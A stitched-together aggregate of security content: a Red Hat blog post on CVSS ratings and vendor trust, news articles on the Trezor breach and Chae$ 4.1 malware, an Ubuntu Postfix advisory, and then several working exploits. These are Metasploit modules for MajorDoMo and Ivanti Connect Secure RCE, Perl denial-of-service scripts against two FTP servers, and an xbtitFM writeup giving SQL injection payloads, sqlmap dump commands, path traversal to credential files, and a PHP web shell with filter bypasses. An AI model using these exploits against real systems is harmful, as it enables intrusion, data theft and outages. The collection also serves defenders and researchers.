This is the third part of Vincent Danen’s “Patch management needs a revolution” series.Patch management needs a revolution, part 1: Surveying cybersecurity’s lineagePatch management needs a revolution, part 2: The flood of vulnerabilitiesVulnerability ratings are the foundation for a good risk-based vulnerability management program, especially if they’re from a trusted party. Recently I was discussing this topic with a customer and they said they practiced Zero Trust, as if to explain why they could not trust our ratings. The irony, however, is that they did use National Vulnerabilit

_This is the third part of Vincent Danen’s “Patch management needs a revolution” series._

*   _Patch management needs a revolution, part 1: Surveying cybersecurity’s lineage_
*   _Patch management needs a revolution, part 2: The flood of vulnerabilities_

Vulnerability ratings are the foundation for a good risk-based vulnerability management program, especially if they’re from a trusted party. Recently I was discussing this topic with a customer and they said they practiced Zero Trust, as if to explain why they could not trust our ratings. The irony, however, is that they did use National Vulnerability Database (NVD) and third-party scanners that use NVD data, meaning they implicitly trust NVD.

This isn’t what “Zero Trust” means; Zero Trust focuses on access and authorization in infrastructure architecture. Nevertheless, trying to apply a principle of “Zero Trust” to vulnerability ratings only makes sense if you’re prepared to do the analysis of each vulnerability on your own, from scratch. Most end-users do not have the time or expertise to do that, so some level of trust must be extended to someone. In fact, this is implied in the demands that vendors provide SBOM (Software Bill of Materials) data on their products. If we apply this kind of “Zero Trust” here as well, every end-user should create their own SBOM. That is an expensive and error-prone proposition, so vendors are expected to provide an SBOM, and rightly so, as the authority on what software they provide. And that’s just one example of mandated implicit trust extended to software vendors.

Red Hat champions the notion of risk-based vulnerability management. For every vulnerability affecting our software, Red Hat Product Security analysts assess them by taking into account how the reported vulnerability is actually exposed and potentially exploitable in our products in order to issue our rating. The common industry inference of risk is based on scores, and the most widely used is CVSS (Common Vulnerability Scoring System). This tends to result in a lot of comparison between differing scores for the same vulnerability and leads to conversations around “their score” (usually provided by the NVD) versus scores provided by a vendor. It’s worth noting that Red Hat ratings of vulnerabilities aren’t reliant solely on CVSS scores, unlike NVD. Score accuracy is important, but not reflective of objective industry-standard four-point rating scales such as those that vendors like Red Hat employ.

This is discussed further in other papers, including the Open Approach to Vulnerability Management whitepaper. To summarize, however: our position is that the composer of software is uniquely positioned to understand the intended use of that software better than anyone else, and the National Telecommunications and Information Administration (NTIA) agrees by noting that suppliers are the authoritative providers of SBOMs (see their SBOM FAQ, page 7, “Q: Who creates and maintains an SBOM?”). If suppliers, or vendors, are required to provide such crucial data, it is proof that they are indeed the best source of this data. While this example is specific to SBOMs, that same trust in vendor data can be extended to things like CVSS scores; that authority doesn’t start and end with SBOMs alone. In the same way, a car dealership is uniquely positioned to better understand the cars they manufacture than a general purpose mechanic. It’s not to say the mechanic doesn’t understand the car at all, but generally not more than the manufacturer.

In this same way, we believe that Red Hat knows Red Hat products better than NVD, not just in terms of how the software is used, but also how it’s built and configured. I’ll even go out on a limb and suggest that every other vendor would say the same about their own products. Further, organizations like NVD consider a vulnerability in all contexts so by definition must be overly broad; after all, open source software is available on multiple operating systems and can be built in a wide variety of ways. The vendor can be precise on impact and exploitation of a vulnerability to their specific product: how it’s used, configured, composed and compiled.

Digging further into the available 2023 data, out of the 29,065 CVEs published, 24,462 were assigned a 2023 CVE (verified using the CVE v5 JSON repository). 13,681 of those CVE entries do not have a Common Vulnerability Scoring System (CVSS) base score provided by the CVE Naming Authority (CNA). The remaining 10,781 CVEs are categorized as:

*   880 Critical (8%)
*   4,184 High (39%)
*   4,954 Medium (46%)
*   763 Low (7%)

Comparing this to NVD, using their JSON feed they have 24,460 2023 CVEs, 912 without a base score assigned. In their dataset, based on the CVSS scores assigned by NVD and the remaining 23,548 there were:

*   3,906 Critical (17%)
*   9,538 High (40%)
*   9,648 Medium (41%)
*   458 Low (2%)

That’s quite different from what CVE.org publishes - which is based on the authoritative scores the CNA provides to them! Interestingly, NVD decreased 998 scores while increasing 2,555 scores. This is nearly identical to what they did in 2022 as well. We’ll look at one such CVE from 2022 as an example.

CVE-2022-28734 is a vulnerability in grub2’s HTTP handling code that, when parsing a particular type of request, could result in a denial of service. Given grub2 is only used at boot, there’s a fairly limited window of opportunity to take advantage of the vulnerability that, if exploited, could render the device unable to boot.

Red Hat rated this vulnerability as Moderate, with a CVSSv3 base score of 7.0. CVE.org has no CVSS score. NVD gave it a score of 9.8 but (plot twist!) also lists Canonical as the CNA that assigned the CVE, and Canonical provided a score of 8.1. Since grub2 is used by others, a quick search shows that Amazon also gave it a 7.0, as did SUSE. Upstream gave it a score of 7.0.

This one CVE has a variety of scores: 9.8, 8.1 and 7.0! Who do you trust when there’s a variety of potential answers? Every vendor noted here knows how grub2 is used in their products, so the clear direction would be to trust the vendor over the aggregator. The burning question is why NVD rated it higher than upstream and every other vendor? There is no explanation, so we do not know the answer. This is true for the other 2,555 scores that were increased and the 998 that were decreased (as compared to CVE.org) and that's not even accounting for differences with vendors.

Tying this back to the exploitation figures above, if we use NVD’s ratings then out of 3,906 Critical issues only 38 (of the 121 discovered in 2023 for 2023 CVEs) were exploited, giving an exploitation rate of 1%. Of the 9,538 High issues only 44 (of the 121) were exploited, or 0.46%, and of the Medium, only 9 of the 9,648, or 0.09% of all the reported Medium issues, were exploited last year.

Finally, given that CVSS base scores tend to be used as a risk metric alone, it’s worth noting that the above criticality ratings by NVD and CVE.org are based on CVSS base scores. These scores are not being used in the way they are intended. As per FIRST (the Forum of Incident Response Security Teams), and authors of CVSS, CVSS scores are meant to prioritize vulnerabilities to remediate by measuring severity, not risk. This is made more explicit in the CVSSv4 user guide. NVD makes the exact same statement in their vulnerability metrics page. It is time to put the final nail in the coffin of CVSS base scores representing risk.

Using vulnerability scoring effectively requires some level of trust, but this shouldn’t matter if you’re just patching everything, right? That sound you just heard was your IT operations teams’ collective head exploding. I’ll explain more in my next post where we look at the myth of patching “all the things.”

Vincent Danen lives in Canada and is the Vice President of Product Security at Red Hat. He joined Red Hat in 2009 and has been working in the security field, specifically around Linux, operating security and vulnerability management, for over 20 years.

Read full bio

Patch management needs a revolution, part 3: Vulnerability scores and the concept of trust

By Waqas
The latest Trezor data breach places users at risk of phishing scams, potentially leading to the theft of additional login credentials.
This is a post from HackRead.com Read the original post: Trezor Data Breach Exposes Email and Names of 66,000 Users

Trezor, the hardware wallet manufacturer, has disclosed a data breach involving unauthorized access to a third-party support portal used by the company.

In a worrying development for cryptocurrency enthusiasts, hardware wallet manufacturer Trezor disclosed a data breach on January 20, 2024, that potentially exposed the contact information of nearly 66,000 users.

While the company assures that no user funds were compromised, the incident highlights the importance of cybersecurity even for hardware wallets, which are often touted as the most secure way to store digital assets.

****What Happened?****

The breach involved unauthorized access to a third-party support portal used by Trezor. The incident occurred on January 17, 2024, and potentially affected users who interacted with the support team since December 2021. The exposed information included email addresses and usernames, however, Trezor confirmed that the attacker did not access the phone numbers or postal addresses of victims.

> _We are making every effort to work with the third-party service provider to comprehensively investigate the incident. However, our internal audit of the incident suggests potential access to contact details, limited to email and name/nickname._
> 
> Trezor

**Why is This Concerning?**

Even though user funds and addresses remain safe, the exposed contact information puts users at risk of phishing attacks. Hackers could use this information to send targeted emails impersonating Trezor and attempt to steal users’ login credentials or private keys. These keys are essential for accessing and managing cryptocurrency holdings, and if compromised, could lead to significant financial losses.

Here is an image capturing the email sent to users by the malicious actor during the security breach. (Screenshot via Trezor’s blog post)

****What Trezor is Doing****

Trezor has taken several steps in response to the breach:

*   **Notified all 66,000 potentially affected users via email.**
*   **Emphasized that user funds were not compromised.**
*   **Investigated the incident and took steps to prevent future breaches.**
*   **Advised users to be wary of phishing attempts and to take steps to protect their online accounts.**

****What Users Can Do****

If you are a Trezor user and received an email about the breach, here are some steps you can take to protect yourself:

1.  **Be cautious of any emails claiming to be from Trezor.** 
2.  **Do not click on any links or open any attachments in suspicious emails.**
3.  **Change your Trezor PIN and password immediately.**
4.  **Enable two-factor authentication for your Trezor account.**
5.  **Regularly update your software and operating system.**
6.  **Report any suspicious activity to Trezor support.**

****Impact of the Breach****

The Trezor data breach is a reminder that no system is foolproof, even for hardware wallets. While user funds were not compromised in this incident, it serves as a wake-up call for the cryptocurrency community to be vigilant about cybersecurity. Users should be aware of the risks associated with **phishing attacks** and take steps to protect themselves.

****_RELATED ARTICLES_****

1.  **6 of the Best Crypto Bug Bounty Programs**
2.  **Outdated Wallets Threatening Billions in Crypto Assets**
3.  **Crypto Scammers Exploit Gaza Crisis in Donation Scam**
4.  **We Need Smarter Smart Contracts To Prevent DeFi Hacks**
5.  **Scammers Use Fake Ledger App on Microsoft Store to Steal $800K**
6.  **Inferno Drainer Phishing Nets Scammers $80M from Crypto Wallets**
7.  **“Get Paid to Like Videos”? This YouTube Scam Leads to Empty Wallets**

Trezor Data Breach Exposes Email and Names of 66,000 Users

By Deeba Ahmed
The latest Chae$ 4.1 sends a direct message to the cybersecurity researchers at Morphisec within the source code.
This is a post from HackRead.com Read the original post: The Fake Fix: New Chae$ 4.1 Malware Hides in Driver Downloads

The original Chae$ malware was identified in September 2023, and its latest version, dubbed Chae$ 4.1, employs advanced code polymorphism to bypass antivirus detection.

Morphisec Threat Labs has documented its findings on Chae$ 4.1, an update to the Chae malware Infostealer series, as part of its investigation of emerging cyber threats. The report explores the new Chae$ variant, highlighting its mechanics, implications, and safeguarding measures.

Back in September 2023, Morphisec shared its analysis on a new variant of Chae$ malware, dubbed Chae$4 with Hackread.com. The malware targeted login credentials, financial data, and other sensitive information of e-commerce customers particularly in Brazil. 

Chae$4 was quickly evolving, and in its latest research blog, Morphisec provided details on the updates in Chae$ 4.1, which includes an improved Chronod module and surprisingly, a direct message to the Morphisec team within the source code. Version 4.1 is a significant improvement over previous brute force and basic obfuscation methods.

The authors of the Chae$ 4.1 malware send a message to Morphisec researchers.

The infection chain begins with an email in the Portuguese language, claiming to be an urgent request from a lawyer concerning a legal case. The victim is then redirected to a deceptive website, (totalavprotectionshop/abrirProcesso.php?email=), where they are prompted to download a ZIP file. This website also functions as a deceptive website for TotalAV, directly delivering the MSI installer without the intermediary step of a ZIP file.

Another website, (webcamcheckonline), allegedly scans the machine for risks and updates the driver after scanning. After the victim clicks the BLOCK button, JavaScript gets executed in the background, mimicking a legitimate system scan, which presents a hardcoded list of files, creating the illusion of a comprehensive computer analysis of the device.

Once the scanning is complete, the attacker sends a message stating “Security Risk Detected” and prompts the victim to download an updated driver to eliminate the risk. The unsuspecting victim clicks on the button, which triggers a script named download.js to run the malicious installer.

With the installer activated, Chae$ 4.1 also gets triggered, and from this point, the attack chain follows a similar path as Morphisec discovered in previous analyses except for some advancements in the Chae$ framework, such as modifications in the Chronod module. After successful activation, exfiltrated data is delivered to the threat actor’s C2 and the Chae$ team panel login page.

The Chronod module intercepts user activity to steal information like login credentials and banking information. It spans over 2,000 lines of code and has been adjusted to steal credentials from specific services like WhatsApp, AWS, and WordPress. In version 4.1, the Chae$ team rewrote the module to be more generic and modular, dividing the logic into several classes instead of one class responsible for all functionality.

Chae$ 4.1 also employs advanced code polymorphism to bypass antivirus detection, and detect sandbox environments, raising concerns about its potential impact on users. 

Chae$ 4.1 malware’s infection chain

To stay safe, regularly update your operating system and software, use a layered security solution with advanced malware detection, be cautious when clicking on suspicious links or opening attachments, and regularly back up critical data. Staying informed and adopting robust security practices can help protect against cyberattacks.

****_RELATED ARTICLES_****

1.  **Fake Symantec Blog Caught Spreading Proton macOS Malware**
2.  **Hackers send explicit messages to riders on hacked e-scooters**
3.  **Scammers Distribute Malware to Drivers in Speeding Ticket Scam**
4.  **iPhone Spyware Exploits Obscure Chip Feature, Targets Researchers**
5.  **Fake PoC Script Used to Trick Researchers into Downloading VenomRAT**

The Fake Fix: New Chae$ 4.1 Malware Hides in Driver Downloads

This Metasploit module exploits a command injection vulnerability in MajorDoMo versions before 0662e5e.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'MajorDoMo Command Injection',        'Description' => %q{          This module exploits a command injection vulnerability in MajorDoMo          versions before 0662e5e.        },        'Author' => [          'Valentin Lobstein', # Vulnerability discovery and Metasploit Module          'smcintyre-r7', # Assistance        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2023-50917'],          ['URL', 'https://github.com/Chocapikk/CVE-2023-50917'],          ['URL', 'https://chocapikk.com/posts/2023/cve-2023-50917'],          ['URL', 'https://github.com/sergejey/majordomo'] # Vendor URL        ],        'DisclosureDate' => '2023-12-15',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        },        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Targets' => [['Automatic', {}]],        'Privileged' => false      )    )    register_options([      Opt::RPORT(80),      OptString.new('TARGETURI', [true, 'The URI path to MajorDoMo', '/']),    ])  end  def execute_command(cmd)    send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'modules', 'thumb', 'thumb.php'),      'method' => 'GET',      'vars_get' => {        'url' => Rex::Text.encode_base64('rtsp://'),        'debug' => '1',        'transport' => "|| $(#{cmd});"      }    )  end  def exploit    execute_command(payload.encoded)  end  def check    print_status("Checking if #{peer} can be exploited!")    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'favicon.ico'),      'method' => 'GET'    )    unless res && res.code == 200      return CheckCode::Unknown('Did not receive a response from target.')    end    unless Rex::Text.md5(res.body) == '08d30f79c76f124754ac6f7789ca3ab1'      return CheckCode::Safe('The target is not MajorDoMo.')    end    print_good('Target is identified as MajorDoMo instance')    sleep_time = rand(5..10)    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")    res, elapsed_time = Rex::Stopwatch.elapsed_time do      execute_command("sleep #{sleep_time}")    end    print_status("Elapsed time: #{elapsed_time} seconds.")    unless res && elapsed_time >= sleep_time      return CheckCode::Safe('Failed to test command injection.')    end    CheckCode::Vulnerable('Successfully tested command injection.')  endend

MajorDoMo Command Injection

This Metasploit module chains an authentication bypass vulnerability and a command injection vulnerability to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and 22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are also vulnerable.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution',        'Description' => %q{          This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection          vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti          Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and          22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are          also vulnerable.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # MSF Exploit & Rapid7 Analysis        ],        'References' => [          ['CVE', '2023-46805'], # The auth bypass vulnerability.          ['CVE', '2024-21887'], # The command injection vulnerability.          ['URL', 'https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis'],          ['URL', 'https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/']        ],        'DisclosureDate' => '2024-01-10',        'Platform' => %w[linux unix],        'Arch' => [ARCH_CMD],        'Privileged' => true, # Code execution as root.        'Targets' => [          [            # Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:            # cmd/linux/http/x64/meterpreter/reverse_tcp            # cmd/linux/http/x64/shell/reverse_tcp            # cmd/linux/http/x86/shell/reverse_tcp            'Linux Command',            {              'Platform' => 'linux',              'Arch' => [ARCH_CMD]            },          ],          [            # Tested against Ivanti Connect Secure version 22.3R1 (build 1647) with the following payloads:            # cmd/unix/python/meterpreter/reverse_tcp            # cmd/unix/reverse_bash            # cmd/unix/reverse_python            'Unix Command',            {              'Platform' => 'unix',              'Arch' => [ARCH_CMD]            },          ]        ],        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true,          'FETCH_WRITABLE_DIR' => '/tmp'        },        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )  end  def check    # We leverage the auth bypass to request the authenticated endpoint /api/v1/system/system-information and retrieve    # the target system version information. If this requests succeeds, the target is vulnerable.    res = send_request_cgi(      'method' => 'GET',      'uri' => '/api/v1/totp/user-backup-code/../../system/system-information'    )    return CheckCode::Unknown('Connection failed') unless res    # If the vendor mitigation has been applied, the request will return 403 Forbidden.    return CheckCode::Safe if res.code != 200    # By here we know the target is vulnerable, we can pull out the exact version information from the expected JSON    # response, this is only for display purposes, we don't need to test the version information.    json_data = res.get_json_document    name = json_data.dig('software-inventory', 'software', 'name')    version = json_data.dig('software-inventory', 'software', 'version')    build = json_data.dig('software-inventory', 'software', 'build')    # Return CheckCode::Unknown if we got a JSON response but it didn't contain the expected keys, or if    # get_json_document could not parse the JSON (and will return an empty Hash).    return CheckCode::Unknown('No version information in response') if name.nil? || version.nil? || build.nil?    Exploit::CheckCode::Vulnerable("#{name} #{version} (#{build})")  end  def exploit    send_request_cgi(      'method' => 'POST',      'uri' => '/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection',      'ctype' => 'application/json',      'data' => {        'type' => ";#{payload.encoded} #",        'txtGCPProject' => Rex::Text.rand_text_alpha(8),        'txtGCPSecret' => Rex::Text.rand_text_alpha(8),        'txtGCPPath' => Rex::Text.rand_text_alpha(8),        'txtGCPBucket' => Rex::Text.rand_text_alpha(8)      }.to_json    )  endend

Ivanti Connect Secure Unauthenticated Remote Code Execution

Ubuntu Security Notice 6591-1 - Timo Longin discovered that Postfix incorrectly handled certain email line endings. A remote attacker could possibly use this issue to bypass an email authentication mechanism, allowing domain spoofing and potential spamming. Please note that certain configuration changes are required to address this issue. They are not enabled by default for backward compatibility.

==========================================================================  
Ubuntu Security Notice USN-6591-1  
January 22, 2024

postfix vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 23.10  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS (Available with Ubuntu Pro)  
- Ubuntu 16.04 LTS (Available with Ubuntu Pro)  
- Ubuntu 14.04 LTS (Available with Ubuntu Pro)

Summary:

Postfix could allow bypass of email authentication if it received  
specially crafted network traffic.

Software Description:  
- postfix: High-performance mail transport agent

Details:

Timo Longin discovered that Postfix incorrectly handled certain email line  
endings. A remote attacker could possibly use this issue to bypass an email  
authentication mechanism, allowing domain spoofing and potential spamming.

Please note that certain configuration changes are required to address  
this issue. They are not enabled by default for backward compatibility.  
Information can be found athttps://www.postfix.org/smtp-smuggling.html.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 23.10:  
   postfix                         3.8.1-2ubuntu0.1

Ubuntu 22.04 LTS:  
   postfix                         3.6.4-1ubuntu1.2

Ubuntu 20.04 LTS:  
   postfix                         3.4.13-0ubuntu1.3

Ubuntu 18.04 LTS (Available with Ubuntu Pro):  
   postfix                         3.3.0-1ubuntu0.4+esm2

Ubuntu 16.04 LTS (Available with Ubuntu Pro):  
   postfix                         3.1.0-3ubuntu0.4+esm2

Ubuntu 14.04 LTS (Available with Ubuntu Pro):  
   postfix                         2.11.0-1ubuntu1.2+esm2

After a standard system update you need to enable  
smtpd_forbid_bare_newline in your configuration and reload it to make  
all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6591-1  
   CVE-2023-51764,https://bugs.launchpad.net/ubuntu/+source/postfix/+bug/2049337

Package Information:  
   https://launchpad.net/ubuntu/+source/postfix/3.8.1-2ubuntu0.1  
   https://launchpad.net/ubuntu/+source/postfix/3.6.4-1ubuntu1.2  
   https://launchpad.net/ubuntu/+source/postfix/3.4.13-0ubuntu1.3

Ubuntu Security Notice USN-6591-1

EzServer version 6.4.017 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket;

# Exploit Title: EzServer 6.4.017 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 22 january 2024  
# Vendor Homepage:  N/A  
# Download to demo: https://drive.google.com/file/d/1hCYYsWsyeuoHTh3ZosNRbtIBxw0culsu/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: EzServer 6.4.017 - Denied of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.  
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){  
      $cmd="cls";  
    } else {  
      $cmd="clear";  
    }

    system("$cmd");

        intro();  
    main();

        print "[+] Exploiting... \n";

    my $payload = "\x41"x10698;

    my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!\n";  
    $sock->send($payload);  
    $sock->close();

    print "[+] Done - Exploited success!!!!!\n\n";

     sub intro {  
      print q {

                            _/|       
                           // o\      
                           || ._)    
                           //__\     
                           )___(   

      [+] EzServer 6.4.017 - Denied of Service (DoS)

      [*] Coded by Fernando Mengali

      [@] e-mail: fernando.mengalli@gmail.com

      }  
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";  
        exit(-1);

      }  
  }

EzServer 6.4.017 Denial Of Service

xbtitFM versions 4.1.18 and below suffer from remote shell upload, remote SQL injection, and path traversal vulnerabilities.

    # Exploit Title: xbtitFM 4.1.18 Multiple Vulnerabilities# Date: 22-01-2024# Exploit Author: Who cares anyway# Vendor Homepage: https://xbtitfm.eu# Affected versions: 4.1.18 and prior# CVE : Who cares anyway# Description: The SQLi and the path traversal are unauthenticated, they don't require any user interaction to be exploited and are present in the default configuration of xbtitFM.The insecure file upload requires the file_hosting feature (hack) being enabled. If not, it can be enabled by gaining access to an administrator account.Looking at the state and the age of the codebase there are probably more, but who cares anyway...[Unauthenticated SQL Injection - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H]Some examples:Get DB name:/shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(DATABASE() AS NCHAR),0)),1,100)))) Get DB user:/shoutedit.php?action=edit&msgid=1337 AND EXTRACTVALUE(0,CONCAT(0,0,(MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0)),1,100)))) Get password hash of any user (might need some modification to work on different instances):/shoutedit.php?action=edit&msgid=1337 OR (1,1) = (SELECT COUNT(0),CONCAT((SELECT CONCAT_WS(0x3a,id,username,password,email,0x3a3a3a) FROM xbtit_users WHERE username='admin_username_or_whatever_you_like'),FLOOR(RAND(0)*2)) FROM (information_schema.tables) GROUP BY 2);Now the fun part. Automate it with sqlmap to dump the database.1) Get DB namesqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch --current-db2) Get table namessqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name --tables3) Dump users table (usually called xbtit_users)sqlmap -u "https://example.xyz/shoutedit.php?action=edit&msgid=1337" -p msgid --technique=E --answers="include=N" --batch -D the_identified_database_name -T xbtit_users -C id,username,email,cip,dob,password,salt,secret --dump4) Crack hashes (usually unsalted MD5, yey!)hashcat –m 0 xbtitfm_exported_hashes.txt wordlist.txtPro tip: Use All-in-One-P (https://weakpass.com/all-in-one)[Unauthenticated Path traversal - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N]1) Intentionally search for a file that doesn't exist to get the web application path e.g. (/home/xbtitfm/public_html/)https://example.xyz/nfo/nfogen.php?nfo=random_value_to_get_error_that_reveals_the_real_path2) Read files that contain database credentials.https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/include/settings.phphttps://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/include/update.phpOr any other system file you want.https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../etc/passwd3) Now who needs the SQLi to dump the DB when you have this gem? Check if the following file is configured https://example.xyz/nfo/nfogen.php?nfo=../../../../../../../home/xbtitfm/public_html/sxd/cfg.phpIf so, go to https://example.xyz/sxd (CBT Sql backup utilitiy aka Sypex-Dumper), login with the DB credentials you just found, now export the DB with on click. Nice and easy.[Insecure file upload - Remote Code Execution (Authenticated)- CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]If that wasn't enough already and you want RCE, visit https://example.xyz/index.php?page=file_hostingIf the file hosting feature (hack) is enabled, then simply just upload a PHP shell with the following bypass.Changing the Content-Type of the file to image/gif and the first bytes to GIF89a; are enought to bypass the filetype checks.A silly contermeasure against PHP files is in place so make sure you change <?php to <?pHp to bypass it.Content-Disposition: form-data; name="file"; filename="definately_not_a_shell.php"Content-Type: image/gifGIF89a;<html><body><form method="GET" name="<?pHp echo basename($_SERVER['PHP_SELF']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?pHp    if(isset($_GET['cmd']))    {        system($_GET['cmd']);    }?></pre></body></html>The web shell will then be uploaded here:https://example.xyz/file_hosting/definately_not_a_shell.phpIf the file hosting feature is disabled, extract and crack the hash of an admin, then enable the feature from the administration panel and upload the shell.

xbtitFM 4.1.18 SQL Injection / Shell Upload / Traversal

Golden FTP Server version 2.02b remote denial of service exploit.

    #!/usr/bin/perluse IO::Socket::INET;# Exploit Title: Golden FTP Server 2.02b - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 21 january 2024# Vendor Homepage:  N/A# Download to demo: https://drive.google.com/file/d/1AK6x0xKwjVZxoNHbCOIJsIiRAWeMmP_0/view?usp=sharing# Notification vendor: No reported# Tested Version: Golden FTP Server 2.02b - Denial of Service (DoS)# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)#1. Description#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.#2. Proof of Concept - PoC    $sis="$^O";    if ($sis eq "windows"){      $cmd="cls";    } else {      $cmd="clear";    }    system("$cmd");        intro();    main();        print "[+] Exploiting... \n";print "[+] Connecting to $ip:$port\n";my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "Could not connect to $host:$port\n";$s->send("USER anon\r\n");my $response = <$s>;print $response;$s->send("PASS anon\r\n");$response = <$s>;print $response;$s->send("SYST\r\n");$response = <$s>;print $response;sleep(2);$s->send("PASV " . "\x41"x6631 . "\r\n");sleep(3);$response = <$s>;print $response;$response = <$s>;print $response;print ">>> Sending second payload\n";$s->send("PASV " . "\x90"x123 . "\x90"x2877 . "\r\n");$response = <$s>;print $response;sleep(2);    print "[+] Done - Exploited success!!!!!\n\n";     sub intro {      print q {                              ,--,                       _ ___/ /\|                   ,;'( )__, )  ~                  //  //   '--;                   '   \     | ^                       ^    ^      [+] Golden FTP Server 2.02b - Denied of Service (DoS)      [*] Coded by Fernando Mengali      [@] e-mail: fernando.mengalli@gmail.com      }  }  sub main {our ($ip, $port) = @ARGV;      unless (defined($ip) && defined($port)) {        print "       \nUsage: $0 <ip> <port>                 \n";        exit(-1);      }  }

Golden FTP Server 2.02b Denial Of Service

TrojanSpy Win32 Nivdort malware suffers from an insecure permissions vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/15bda00b57e2ed729a45f7cfa62165da.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: TrojanSpy Win32 NivdortVulnerability: Insecure Permissions - EoP (SYSTEM) Family: NivdortType: PE32MD5: 15bda00b57e2ed729a45f7cfa62165daVuln ID: MVID-2024-0668Dropped files: dqrpgvnkh, egjrdhynfm, nhefhloix, rvoyf6ljtqg4zejno.exeDisclosure: 01/20/2024Description:The malware creates a service which runs as SYSTEM and grants change (C) permissions to the authenticated user group on its installation directory. Standard low integrity users can still rename the service executable while it is running, replace the PE file with their own and restart the infected system to start the service.C:\>cacls C:\pewcvmnvyr\jwgaklb.exeC:\pewcvmnvyr\jwgaklb.exe BUILTIN\Administrators:(ID)F                          NT AUTHORITY\SYSTEM:(ID)F                          BUILTIN\Users:(ID)R                          NT AUTHORITY\Authenticated Users:(ID)CC:\>sc qc "Group Key KtmRm Coordinator Registry TPM Bus"[SC] QueryServiceConfig SUCCESSSERVICE_NAME: Group Key KtmRm Coordinator Registry TPM Bus        TYPE               : 110  